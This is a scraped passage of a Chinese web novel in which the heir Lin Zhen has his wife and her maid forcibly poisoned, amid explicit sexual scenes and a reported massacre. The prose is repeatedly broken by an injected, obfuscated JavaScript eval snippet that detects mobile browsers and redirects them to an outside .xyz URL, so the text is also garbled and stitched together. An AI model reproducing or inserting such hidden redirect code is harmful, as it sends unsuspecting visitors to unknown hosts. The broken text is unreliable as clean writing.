一声轻叹,如同夜风中摇曳的风铃。张俪将脸颊轻轻贴在他的胸膛上,声音里带着一丝幽怨与柔情:“唉,可真是冤家不过,这男女之间的感觉,倒真是奇妙呢” “还有更奇妙的。” 说着林臻准备发起总攻,张俪吓得赶紧抓住他乱动的手:“世子万万不可!这大白天的,若是发生点什么,妾身以后还要不要见人了?” 林臻轻笑:“又没人敢进来。” “那也不行!那些丫鬟小厮们耳朵尖得跟兔子似的,万一有个风吹草动,还不立刻传遍整个赌场!” “谁敢传闲话我就割了他的舌头。” “世子~妾身求您了.”张俪的声音中带着一丝哀婉,轻轻推了推林臻的手臂,眼中闪烁着祈求的光芒。 林臻这才无奈的把手从她胸围子里抽出来,放在鼻尖轻轻一闻,满满都是栀子花味儿。 不错,应该有C。 不算小了。 张俪脸颊绯红,羞赧之情溢于言表。她慌忙自林臻身上跃下,细致地抚平衣裙上的褶皱,末了,小脸挂着一抹娇嗔,望向林臻,声音里带着几分撒娇的意味:“世子!瞧瞧你干的好事,妾身裙子都脏了。” 第125章 世子快别闹了!妾身刚换的裙子。 林臻对自己的独门手艺很是满意。 这还要感谢倭国的男演员们,像“弹指神通加藤老师、“仙人指路清水老师,“一指禅龙二老师等等,都曾真枪实弹地指点过林臻。 这也算是倭国对全世界为数不多的贡献了。 林臻仍旧悠然地坐在床边,嘴角勾勒出一抹笑意,轻声道:“分明是你自己不小心弄脏的,怎的倒怪起我来了? “世子您真是太过分了,占了便宜还卖乖!哼!张俪轻嗔一声,旋身走向那古朴典雅的大衣柜,从中取出一袭款式新颖的连衣裙,随后竟毫不避讳地站在林臻面前,缓缓褪去身上的衣物,直至仅余一袭洁白如雪的肚兜轻覆胸上。 那光洁无瑕的背脊,在微光下泛着柔和的光泽,仿佛轻轻一触便能感受到那份温润与细腻,引人不由自主地想要将其拥入怀中,细细呵护。 林臻初次如此近距离且专注地目睹女子更衣的场景,心中不自觉地泛起一丝异样的涟漪,目光中也流露出一抹未曾察觉的温柔与迷离。 不久,张俪便已换好裙子,轻盈步至桌旁,提起茶壶,温热的茶水自壶嘴细腻流淌,落入茶盏,发出悦耳的滴滴答答声,宛如细雨轻敲窗棂。 林臻自沉思中惊醒,目光温柔地落在她身上,嘴角勾起一抹笑意,轻声道:“恍惚间,我竟觉得你美得不似凡人。 “嘁——张俪轻轻抛给他一个白眼,嘴角却不易察觉地上扬,心中如小鹿乱撞,暗自欢喜。 她款步上前,将盈满茶香的茶盏递至林臻手中,眼中闪烁着狡黠的光芒:“世子何时也学会了那些甜言蜜语,倒叫人意外。 “我一直都会。 “那世子又为什么想杀死刘书瑶呢?您曾经对她那么好。张俪站在他面前,有种班主任质问小学生的意思。 林臻一口将茶水干掉,反手再次将她搂入怀中。 张俪吓坏了,想站起来,可腰肢被林臻紧紧禁锢住。 “哎呀世子,快别闹了!妾身刚换的裙子。 “不闹可以,但是你要答应我一件事。 “什么事? “晚上来王府。 “你世子又不缺暖床的丫头。 “但是我缺你。 “我张俪刚有些犹豫,却见林臻的大手再次向上攀登,她赶紧制止:“别!世子,妾身答应你就是了 “这还差不多。林臻得意地笑着,张俪转而问道。 “世子到底为什么要杀刘书瑶? “因为她从来就不是我的妻子,而是我的敌人。 让张俪杀刘书瑶,是林臻一早就想好的,否则当日也不会和她立下这个赌约。 这件事情他反复考虑过,也多次解释过了,所以今天她没打算和张俪多浪费口舌。 之所以选择张俪,而非旁人,其根源在于林臻想要验证她对自己的忠诚度究竟有多高。 假使她连最为极端之事,譬如杀人,都能毫不犹豫地为自己付诸行动,那么在林臻心中,她便将赢得无可挑剔的信任。 到那时,他不仅会对她敞开心扉,毫无保留,甚至会将自己精心筹谋的每一个计划,都悉数倾诉于她,邀她共谋大业。 而这次,姑且就算是她的一份投名状了。 然而,一旦这份忠诚存疑,张俪的角色便仅仅局限于床笫之欢的伴侣了,除此之外,她的价值将大打折扣。毕竟,在林臻的世界里,无论一个人的能力多么出众,若不忠诚,他还是不会用的。 见林臻没有继续回答的意思,张俪也就很识趣的没有多问。 其实她还是很好奇林臻到底是怎么因爱生恨的,难道说就因为刘书瑶爱着顾北辰,所以他才下此杀手吗? 那他们俩人没结婚之前,刘书瑶也喜欢顾北辰啊。 林臻淡淡开口:“怎么不说话了?是不敢杀人吗? 张俪不仅是一位精明强干的商贾女杰,同时也是一位年华渐长、尚未觅得良缘的佳人。杀人放火这类阴暗之事,似乎与她平日里精打细算的商海生涯格格不入,遥不可及。 然而,张俪深知,一旦拒绝眼前的请求,她与林臻之间,除了肉体上的片刻交缠,情感的纽带将如断线的风筝,再无重连的可能。那些日日夜夜,她倾注心血与情感的努力,又将何去何从? 她在心中反复权衡,每一个念头都如同秤砣般沉重。终于,经过一番激烈的思想斗争,张俪缓缓点头,眼中闪过一丝决绝:“妾身,愿遵世子之命。 “那好,今晚王府,鸩杀刘书瑶。 “是。 夜幕低垂,星辰点点,为沁心园披上了一袭宁静的幽纱。 在厢房外,一棵梨花树轻摇着枝桠,月光下,两名丫鬟倚树低语,细碎的话语在夜风中轻轻飘散。 “诶?你听说了吗?夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紧随其后的是二狗与侯春,二人神色凝重,似是对即将发生的事心知肚明。 那女子径直走到刘书瑶面前,停下脚步,声音清冷而不带一丝情感:“林夫人,世子特请您满饮此酒。” 言罢,她静静地站立,等待着刘书瑶的反应,整个房间仿佛被一股无形的压力所笼罩。 第126章 别敬酒不吃吃罚酒 张俪的目光掠过刘书瑶与小翠半裸的肩头心中那抹残存的不忍终是在这一刻烟消云散。 她面容冷峻手托瓷盘既未卑微躬身也未恭敬举高只是静静地立在那里。 刘书瑶刹那间乱了方寸眼眸中满是错愕她惊慌失措地向后退却脚步踉跄间手臂不经意间扫过桌上的茶盏与酒具。 “哐当!” 清脆的碎裂声在屋内回荡恰似刘书瑶此刻支离破碎的心境回响不绝。 她摇着头目光中满是不敢置信声音颤抖的说道:“你是谁?这是什么酒!?” 小翠反应过来顿时心下稍安。因为张俪的托盘里只端着一杯酒也就是说这杯酒是给刘书瑶喝的而不是给自己喝的。 她怯怯地立于一旁唇齿紧闭生怕惊扰了这份微妙的平衡。 张俪往前走了一步:“小女子张俪特奉世子之命请林夫人饮酒。” 简单的话语却如同寒风穿堂让刘书瑶的心瞬间沉入深渊冷得彻骨。 刘书瑶的反应近乎歇斯底里她尖叫着否认:“不!不可能林臻是爱我的!他绝不会这么对我!你到底是谁?为何冒充林臻的命令毒害我!” “来人请夫人饮酒。” “是。” 二狗与侯春应声而前脸上虽挂着不忍之色步伐却异常坚定。 刘书瑶心中惊恐万分不由自主地连连后退 她挣扎道:“不!二狗!我是王府少夫人你怎敢如此无礼该当何罪!” 二狗那张平日里总带着几分嬉笑的脸庞此刻竟异常严肃他低声说道:“夫人得罪了。” 眼见二狗的糙手缓缓伸向自己的唇边刘书瑶惊恐地摇头尖叫:“不要!不要啊!求求你们让我再见林臻一面就一面!” 她的声音中带着无尽的哀求仿佛这是她能抓住的最后一线希望。 “小翠!小翠!快来救我呀!”刘书瑶的呼唤中带着几分急切与期盼却只见小翠静静地立在那里宛如一尊冰冷的雕像。 她凝视着刘书瑶脸色晦暗不明眼眸深处闪烁着怨毒与阴鸷的光芒语调阴阳怪气:“小姐原来~你也有求我的时候啊~” 小翠的面容扭曲嘴角勾起一抹冷冽的笑那笑里藏着无尽的寒意与复仇的快意:“呵当时林臻侮辱我的时候怎么没见你救我呢?” 刘书瑶闻言双目瞬间瞪大满是不可置信与震惊:“你你竟然.” “你还是好好上路吧,以后有我伺候顾世.”小翠的目光掠过一旁的二狗两人,言语间略作停顿,随即改口道:“.世子,你大可以放心。” “臭婊子!北辰才不会喜欢你这种阴毒的女人!”刘书瑶怒斥道,言语间充满了对小翠背叛的愤怒与不甘。 “我阴毒?呵呵呵呵,刘书瑶,你别以为我不知道你和你爹在谋划着什么。你不就是想趁林臻双.飞的时候,连我一起毒死吗?没想到吧?风水轮流转,现在被毒死的人是你!” “呵呵呵呵。”小翠笑着向门外踱步,侧首对刘书瑶说道:“我这就去瞧瞧世子正忙些什么乐子,小姐~你就安心品味你的‘特制佳酿’吧。” 言毕,她以一种微妙的胜利者姿态与张俪擦肩而过,末了还不忘对她补上一句:“多谢这位姐姐成全。” 言罢走出房门。 跨过那道熟悉的门槛,一缕清新而带着凉意的晚风迎面拂来,轻轻撩动她的发丝,也似乎温柔地拂去了她心中的尘埃与重负。 在这一刻,小翠恍若脱胎换骨,重获新生。 刘书瑶的身影,连同那些被迫争宠、伺候林臻的日子,都随着身后紧闭的房门一同远去,成了再也回不去的旧梦。 我要去找北辰,将心中的波澜与过往的纠葛,一五一十地向他倾诉。 我要告诉他,从今往后,自己愿以一颗完整而真挚的心,去填补刘书瑶留下的空白,去爱那个曾让她遥望不及的男子。 相信北辰的心中也定有我的一席之地。 毕竟,真挚的情感,总能在不经意间穿透人心的壁垒,让两颗心紧紧相依。 而我,也终将成为北辰生命中不可或缺的一部分,被他温柔以待。 呵呵轻笑声随风而起,宛如夜色中低语的幽灵,小翠正感受着晚风的清凉,被这突兀的声音吓了一跳。 “呵呵呵呵。” “小翠妹妹,有几日没见了。” 小翠寻声望去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789259|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见晴雯手执一盘,盘中静静躺着一盏晶莹的酒液,那姿态与她平日里的活泼调皮大相径庭,透出一股莫名的阴冷。 而在晴雯身后,正是韩忠与黄鼠,二人的身影在黑暗中更添了几分不可言喻的威胁。 小翠的心猛地一紧,脸色瞬间苍白如纸,声音颤抖着问出心底的惊恐:“你你们这是要做什么?!” 晴雯的嘴角轻轻上扬,勾勒出一抹深邃而复杂的笑意。那笑容本是她倾倒众生的招牌,此刻在小翠眼中,却冷冽如冬日寒风,穿骨而过,直教 人心底生寒,不由自主地打了个寒颤:“干什么?呵呵呵,世子请你喝酒呀。” 小翠的声音中带着不甘与绝望,她歇斯底里地喊着:“不我又没有做错什么,为什么连我也要毒死!” “少废话,是你自己喝还是我喂你啊?”晴雯没有张俪那么好的性子,还允许刘书瑶说几句。 她现在只想着赶紧毒死这个女人,然后去和林臻邀功。 世子说了,只要事情办得好,就会交给自己一个重要任务! “不不!!”小翠的声音带着颤栗,她拼命地摇头,冲向屋子里。 黄鼠眼疾手快,身形一闪,便已窜至小翠身旁,他粗鲁地一把揪住她散乱的发丝,硬生生地将她拽了回来,毫不留情。 “不要!求求你,放开我!!”小翠的哭喊中带着绝望,她挣扎着,试图从那只铁钳般的手中逃脱,却只是徒劳。 晴雯的脸色瞬间阴沉如水,她的声音冷冽如霜:“别敬酒不吃吃罚酒!” 这句话放在这里非常合适。 小翠的泪水如断了线的珠子,不断滑落,头皮上传来的剧痛与内心深处的恐惧交织在一起,让她几乎窒息。她放声大哭,声音中满是哀求:“哇呜呜呜……我求你们了,放过我吧……我再也不敢了……呜呜呜……” “灌下去。” “是。” 黄鼠揪住小翠的头发,掰开她的嘴,韩忠连看都没看,直接一杯酒就灌了下去。 他没有任何犹豫,因为刚刚房间里的话她都听见了。 这个女人和刘书瑶一起要谋害王府世子,确实该杀! 第127章 哇喔~世子好会哦~ 房间内,刘书瑶听到外面的动静,爆发出一阵不加掩饰的狂笑,笑声中带着几分凄凉与快意:“哈哈哈哈,那个贱人!想我多年来待她如亲妹妹死得好啊,死得好!” 张俪立于一旁,面容冷漠,语调平静无波地问道:“她都死了,你什么时候死啊?” 刘书瑶的笑声戛然而止,眼中闪过一抹决绝:“让我再见林臻一面。” “世子不会见你的。” “不!他对我好了那么多年,绝不可能杀我!他只是有些气恼,只要我去哄哄他,他一定会回心转意的!” “唉,看来你也想吃罚酒啊。”张俪无奈地摇摇头,对二狗和侯春说道:“动手吧。” “是。” 二狗应声,粗鲁地掰开了刘书瑶紧闭的双唇。 眼看着侯春就要动手,门外忽地传来晴雯清脆而急促的声音:“世子回来啦!” 刘书瑶仿佛被这道声音从绝望的深渊中猛然拉起,她的眼中闪过一丝不可置信的光芒,随即化作了歇斯底里的呼喊:“世子!世子,救救我!” “世子,书瑶知错了,求您开恩,饶书瑶一命吧!” “世子,让书瑶再见您一面吧!!!” 林臻走了进来,侯春的手也停在半空。 刘书瑶拼尽全力,从二狗紧固的桎梏中挣脱而出,犹如飞蛾扑火般冲向林臻。及至他跟前,她猛地跪倒在地,膝盖与地面接触的声响十分清脆,双手抱着他的脚,苦苦哀求道。 “世子,妾身知错了,您给妾身一个将功赎罪的机会吧,求求您!妾身发誓,从此以后对您一心一意,绝无二心。” 林臻就这么淡淡地看着她,脸上看不出任何表情。 曾几何时,“自己”非常喜爱这个女人,愿意为她做任何事情。 可惜,林臻这个大舔狗已经被自己夺舍,尽管躯壳依旧,内里却全然不同。 正因如此,面对她,林臻的心中泛不起一丝涟漪。 他摇了摇头,淡淡道:“你不知道自己错了,你只是知道自己快死了。” “不!世子,其实妾身一直都是爱你的!妾身只是想考验考验你对我的感情,现在考验结束了,我们好好地在一起吧!以后你让妾身做什么,妾身就做什么!哪怕您要我后面妾身也同意!” 刘书瑶言罢,缓缓起身,指尖轻拨,将领口微微敞开,露出一片细腻如雪的肌肤与柔和的曲线,全然不顾一旁二狗与侯春的存在。 她未曾察觉自己发丝凌乱,添了几分不经意的惊惶 之色,却仍竭力维持那份娇柔妩媚,贝齿轻咬下唇,声音细若游丝:“世子,您看妾身这里白不白?您想不想吸一口?妾身给您吸。 “世子,您就发发慈悲,再让妾身感受一次您的温情吧!待到明日,妾身自会饮下那杯毒酒,了无牵挂. 刘书瑶缓缓倾身,胸膛不经意间向他靠近,林臻的目光掠过那幅动人心魄的画面,眼中却保持着罕见的清澈与警觉。 他突然想起棋牌佛给了他一颗丹药,还说这丹药能解所有奇毒。 他悄然自袖中取出那粒丹药,指尖轻捻,让它沿着刘书瑶细腻的脸庞缓缓滑动。刘书瑶误以为这是某种挑逗,眼眸半阖,尽力绽放出更加诱人的风情,却不知林臻正全神贯注于丹药之上的微妙变化。 随着丹药缓缓下移,直至触及她胸前那片温润,丹药竟突然由深沉的黑色变为绿色! 卧槽! 林臻当即反应过来,难怪她昨天穿成那个样子,难怪她刚才问自己想不想吸一口! 原来她是想勾引自己,好把自己毒死! 棋牌佛曾提及的那个潜藏的亲近之人,竟是眼前这个娇嗔扭捏的刘书瑶。 林臻的脸色倏地沉若寒潭,而刘书瑶犹自浑然不觉,继续在那儿娇声媚语,扭来扭去:“哇喔,世子你好会哦~妾身好舒 “杀。 林臻二字出口,简洁有力,却如寒冰刺骨,直透刘书瑶的心扉,让她浑身一颤,仿佛被万箭穿心。 二狗和侯春答应一声,再次走过来。 刘书瑶瘫软如泥,身形摇摇欲坠,眼中满是惊恐与绝望:“不要啊世子!您不是说给妾身个机会的吗? “世子! “世子饶命啊!! 二狗再次上前,将刘书瑶牢牢制住。侯春则毫不犹豫地捏开她的嘴,将那杯毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小晴雯,今天我非活吃了你! 林臻轻轻放下手中的酒盏那双深邃的眼眸终于从无尽的夜色中抽离缓缓开口字字如冰却也透着不容置疑的威严:“以后对外宣称林家少夫人偶感风寒需静养期间严禁任何人探视更不得有半点风声泄露违者杀无赦。” 听到这句话的二狗等人都是心中一紧。 世子什么时候变得戾气这么重了? “是。” “退下吧。” 四人起身倒退着离开院子。 浣碧见雨没有停下来的意思便轻轻俯身在林臻耳畔细语:“世子进屋去吧别着凉了。” “嗯。”林臻轻声应允。 晴雯见林臻神色终得舒缓便如雀儿般欢跃蹦蹦跳跳地凑上前来俏皮问道:“世子今天让那位姐姐暖床呀?”言罢她狡黠地瞥向一旁静立的张俪嘴角含笑:“该不会是又有新人了吧?” 林臻摇头:“不今天干你。” “啊?”晴雯一时愣住脚下的步子也倏然停住尴尬的笑容僵在脸上连忙摆手:“世子.额呵呵呵妾身今天来月事了不能陪世子的” “是吗?那我检查检查。”说着林臻一把将晴雯搂进怀里。 晴雯顿时急了。 “世子不可啊!” “脏!” “哎呀浣碧姐姐快劝劝世子呀我抓不住他!” “张俪姐姐!” 张俪翻个白眼:“活该让你胡说八道!” “呜呜呜呜世子奴婢知错了奴婢再也不敢了您快把手拿出来!” 林臻嘴角勾起一抹坏笑缓缓松开了晴雯轻轻晃动手中那精致的肚兜故意摆出一副威严的样子说道:“看你还敢不敢挑逗本世子!” 晴雯伸出手眉眼间满是娇嗔与羞涩:“世子坏死了!快把肚兜还给我!” “不给不给就不给!”林臻顽皮地笑道。 话音未落他已挥动着手中的洁白肚兜如同一个无忧无虑的孩童一头扎进了瓢泼大雨中笑声爽朗而肆意:“哈哈哈哈!你来追我啊 “世子!!人家恨死你啦!”晴雯说完话一咬牙一跺脚也冲进雨里。 浣碧和张俪见状都懵了。 这俩人没打伞啊! “世子快进屋去啊!” “万一着凉了可怎么是好!” 浣碧与张俪同时拿起雨伞往外面走。 张俪埋怨地说道:“世子怎么还像个孩子似的。” 场中,林臻一扬手将肚兜扔到天上。 “哇喔!” 肚兜很快又被雨水砸下来,飘落在脸上,他深深地吸上一口:“嘶好香啊!” 晴雯目睹此景,即便是以她的平日里的大胆不羁,此刻也不禁羞赧满面,红晕如霞光般晕染了双颊。 “世子!你非要羞死人家才得意吗?” 林臻却只是调皮地吐了吐舌头,做了个鬼脸:“略略略!想要肚兜啊?进来和我一起洗澡啊!” 言罢他像挥舞旗帜那般挥舞着肚兜,冲进盥洗室。 晴雯又急又羞,却也顾不上许多,脚尖轻点,紧随其后,一溜烟儿地追了进去。 其实这妮子根本就没来月事。 盥洗室内,早有机灵的仆役备好了温热适宜的洗澡水。此刻,水汽袅袅混合着淡雅的花香,缭绕于空气之中,平添了几分旖旎。 林臻轻轻褪去身上湿透的衣裳,转身揽住晴雯,臂力一展,便将她温柔地横抱起来。 “哎呀!世子!”晴雯惊呼出声,声音里既有惊又含羞。 林臻语气中带着几分宠溺:“小妮子,今天我非活吃了你!” “不要呀世子,妾身怕.” “怕?等会儿我非让你哭!”林臻不容晴雯再多言,将她轻轻投入那溢满芬芳的大浴桶之中。 “噗通!哗啦啦!”晴雯不识水性,被突然的扔到水中,猛地呛了一口。 “咳咳咳咳.” 咳嗽声与水花四溅交织在一起,晴雯那本欲嗔怪的话语,在喉间打了个转,又咽了回去。 因为他看到林臻也光溜溜地跳了进来。 “噗通!” “世子!我.唔.”晴雯轻吟一声,缓缓睁开水漾的眸子,只觉自己的唇已被林臻温柔而坚定地覆住。她的视线模糊,只能捕捉的林臻英挺的剑眉与那轻颤的、宛若蝶翼般的长睫。 这便是吻的滋味吗? 我被世子强吻了!? 诶诶诶,世子这个大流氓,怎么还伸舌头啊? 天啊,世子的口水好甜呀,怎么这么好喝喝不够啊! 咦?我衣服呢?怎么全都不见了? 世子在干什么?偷偷睁开眼睛看看他.他竟然也在看我! 他的双眸璀璨夺目,宛若记忆中那颗最耀眼的星辰,照亮了我童年的每一个夜晚。 “咳咳咳”晴雯在这突如其来的亲密中显得有些手足无措,又对接吻这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她轻声细语,仿佛是对自己说,又似在问那无边的雨。 “难道世子忘记我了吗?说好的只等一夜啊。” 话毕,一抹幽怨悄然爬上她的眉梢,她不由自主地望向沁心园的方向,那里,似乎藏着她的期盼与失落,思绪万千,却无人能解。 第129章 世子,妾身会不会怀孕啊? 张俪闲坐于卧房之内指尖轻捻着瓜子百无聊赖地嗑着目光空洞地望向窗外夜色。 她本以为林臻会对她做些什么没成想竟然是把自己晾在这里坐冷板凳。 真说不出是高兴还是哀怨。 “奇怪这都一个多时辰了世子怎么还没洗完?”浣碧轻叹一声搁下手中的瓜子目光转向摇曳的烛火眉宇间流露出一抹不易察觉的忧虑。 张俪闻言嘴角勾起一抹淡然的笑意 浣碧闻言眼眸猛地睁大惊异之情溢于言表半晌合不拢嘴仿佛听见了世间最不可思议之事。 “啊?你是说他们两个在里面.那个?” “你以为呢?” “不会吧!那种事情不是应该都在床上的吗?” “其实这种事情主要看男人.”张俪见过的世面多所以语气也就略显老成她带着教导的口吻说道:“只要男人想厨房、书房或者花园里都可以啊。” “啊?花园里也可以?那不是都被人看光了吗?” “你还小呢不懂这些以后就知道了。” 女人们之间的谈资除了明星八卦、购物心得和美妆秘籍外。男人——总是绕不开的话题。 而且她们内心世界的丰富与不羁远远超出了旁人的想象。 很快林臻抱着已经洗香香的晴雯回来然后很没素质地将她们俩都撵了出去。 “夜深了都回去歇息吧。浣碧你给俪儿找个僻静的厢房。” “知道了世子。” 林臻轻轻地将晴雯放置在柔软的床榻之上不待二女完全转身离开便以一个顽皮而又深情的姿态压上去嘴角勾起一抹坏笑:“嘿嘿方才太过局促咱们重来一回!” 晴雯娇嗔地翻了个白眼却也难掩心中那份初尝禁果后的释然与欢愉。 她大方地迎接着林臻嘴角含笑:“来就来才不怕你呢!” “哎呀!咯咯咯咯!” 次日清晨阳光已悄然探访而林臻仍未上班。 这份差事确是世间少有的逍遥——有要务则行无事则悠然家中卧榻之上薪资丝毫不减。 若是在后世这得羡慕死多少人? 晨光斑驳穿林透叶轻轻洒落在晴雯恬静的脸庞为她细腻的肌肤镀上一层柔和的金辉光点跳跃如梦似幻。 林臻动作轻柔地坐起身生怕惊扰了这 份宁静。不料晴雯竟在半梦半醒间伸出一只柔若无骨的手臂环住了他的颈项语调中带着几分稚气与撒娇的意味:“世子别闹再让奴婢睡一会儿。” 她累坏了昨天从浴室出来后她几乎是一直占据主动权从童趣十足的摇摆木马到挑战极限的两千个深蹲乐在其中浑然忘我。此刻睡不醒也是情理之中。 林臻轻轻拨开她搭在臂上的柔荑悄然下床以一根简朴布条将长发高高束起扎成马尾身着紧致里衣步伐轻盈地迈向门外。 甫一出门便见浣碧那丫头正于凉亭之下低头专注地刺绣。闻得声响她抬头望向这边嘴角勾勒出温柔的弧度莞尔一笑:“世子您醒啦!” “嗯张俪呢?”林臻随口问道。 浣碧走近前来纤手轻巧地为林臻整理着腰间的玉带柔声道:“张俪姐姐说她要去赌场盯着月妩姐姐则是去了酒楼看看。对了世子曹将军派往邯郸的手下已经回来了此刻正等候您的召见呢。” 经浣碧一提林臻这才恍然想起自己因担心青竹的家人被顾家暗算所以派人去接估计是回来了吧。 整理好以后浣碧说道:“世子稍等奴婢去给您拿袍子。” “不用了天气怪热的就这样吧。” “可是世子若是老爷瞧见您这般装扮 “没事。”林臻轻轻摆手随后便向书房缓步而去留下浣碧无奈地在原地轻摇螓首转身步入卧房。 一踏入房门便见晴雯睡得正酣仿佛与世隔绝洁白如玉的大腿不经意间搭在被褥之上嘴角还挂着晶莹的涎水点点滴滴落在枕巾之上显得格外俏皮。 浣碧见状心中不禁升起一丝嗔怪疾步上前在她圆润的屁股蛋上狠狠拍了一巴掌。 “啪!” “哎呀!”晴雯叫了一声随即扭了扭屁股道:“世子大人是没吃饭吗?使点劲再打一下嘛~” 浣碧:. “不要脸的骚蹄子!世子都起床了你还在这躺着等我伺候你吗?还有没有点规矩!” 晴雯半眯着眼带着几分初醒的朦胧望向来人竟是浣碧。她嘴角微张轻轻翻了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后她看向自己的肚肚,攥紧粉拳。 “你倒是争点气呀!” 第130章 当我的小妾,难道不是对你的奖励吗? 林臻悠然踱步至书房,吩咐曹雄速速召集几位心腹前来,随后又另遣一人,去请那青竹丫头。 近几日来,青竹似是有意躲着他,即便偶尔相遇,她的目光也带着几分疏离与冷淡,仿佛眼中容不下他半点身影,鼻尖的轻哼更是透露着明显的敌意。 这也正常,顾北辰的主角光环实在是太重了,他无时无刻不在吸引着原书剧情里的人,更何况,青竹本就是他以计谋骗入王府的,心中有所芥蒂,自是情理之中。 林臻正欲开口赞许几句,目光却骤然凝固在他们六人身上。 他们每一人都带着伤痕,显得格外狼狈,尤为刺眼的是,其中一位魁梧大汉竟然失去了左臂。 什么人竟能伤到虎贲营? 林臻的脸色骤变,惊疑交加地问道:“这究竟是怎么回事?我吩咐你们的任务是去接青竹的亲人,怎会落得如此境地?” “回世子。”曹雄的声音低沉而沉重,其中蕴含的愤懑与痛心难以遮掩,显然,他已对整件事情的来龙去脉了如指掌。 他紧咬牙关,每个字都像是从牙缝中挤出的一般,沉重而有力。 “咱们的将士终究还是晚了一步。他们赶到现场的时候,顾家的白袍义从正在杀人放火。将士奋勇当先,拼死抵抗,这才勉强将那些暴徒打退。然而,青竹家却已是一片狼藉,他的父母、叔伯、姊妹,皆已惨遭毒手,无一幸免,唯余一个孤苦伶仃的小男孩被我们带了回来。” “砰!”一声巨响。 林臻猛地站起身,手中的茶盏被他狠狠掷向桌面,茶水随之喷溅而出,精致的瓷片四散崩裂,划破了空气,也溅落在曹雄坚毅的面庞上,留下一道细细的血痕。 曹雄浑然未觉脸上的伤痛,双唇紧抿,眼中闪烁着不屈的光芒,继续说道:“世子!顾家那太他了个比的残忍了,不仅将青竹的母亲、姊妹们轮jian侮辱,还将她父母的脑瓜子割走,带回了京城。” 林臻气得后槽牙都快咬碎了:“顾北辰你这个畜生,竟敢如此糟践我大乾百姓!” “世子,点兵吧!末将这就冲过去,草死顾北辰全家!” 林臻正暗自琢磨着这件事情。 除去顾北辰绝不能如此草率,每一步都需深思熟虑,预见所有可能的后果。 正当他沉吟未决之时,一阵急促而悲愤的呼唤打破了室内的沉静。青竹,那双平日里清澈如泉的眼眸此刻盈满了泪水,她颤抖地站在门槛边,声音中带着难以抑制的绝望与愤怒:“林臻!!” 她仿 佛被悲痛之火点燃,不顾一切地冲向他,双臂挥舞:“我要和你拼命!!啊!!” 曹雄眼疾手快,迅速上前将她控制住。 “青竹姑娘,你冷静一点!” “青竹姑娘,杀你全家的人是顾北辰,不是世子啊!” “放屁!顾少为人清白,乐善好施,才不会做这种事情!分明是你,林臻,你害我家破人亡,如今还妄图以虚假之态欺瞒于我!我做鬼也不会放过你!!啊!!!” 青竹拼尽全力地挣扎,嗓音因嘶吼而沙哑,近乎破裂。 这无疑又是一个被顾北辰无辜牵连的悲情女子。 林臻心中五味杂陈,愤怒与同情交织。 他转向曹雄,目光冷冽:“你不是说还剩个小男孩吗?人呢?” 曹雄闻言,脸色一凛,随即喝道:“快!速将刘鑫带上来!” 一名士兵匆匆踏出门外,不久便带着一个衣衫褴褛的小男孩。 男孩看起来十岁左右,面容因连日颠沛流离与家庭的骤变而显得呆滞茫然。 青竹一见,顿时泪如雨下,嗓音嘶哑地将他搂进怀里。 “鑫儿!我的弟弟呜呜呜.” “姐姐.呜呜呜.” 确认眼前之人是姐姐,刘鑫的泪水也如决堤般涌出,哭喊声震颤人心:“姐姐,好可怕!好可怕啊!母亲死了,父亲也死了,全家都死光了呜呜呜.” 姐弟俩相拥在一起,青竹已经是泣不成声。 在场的众人,无不心生怜悯,目光中满是同情与哀伤。 过了许久,青竹才渐渐平复了情绪,她紧握着刘鑫瘦弱的肩膀,声音中带着一丝颤抖:“鑫儿,告诉姐姐,到底是谁杀了父母亲?” “鑫儿.鑫儿也不知道。他们穿着白色的铠甲,像是一群恶魔见人就杀。母亲.母亲她.还被他们侮辱了.呜呜呜.” “白袍战甲.” 那是白袍义从独有的标志。 难道真的是顾北辰杀我全家? 为什么. 这些年,我呕心沥血,无怨无悔地侍奉于顾家,将每一滴汗水都洒在了这个家族的土壤里,可最终换来的却是这般凄凉的结局? 为什么. 你平日里总是那般和颜悦色,慈眉善目,仿佛世间所有的温柔都汇聚于你一身,以至于让我对你满心欢喜,如今却背地里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 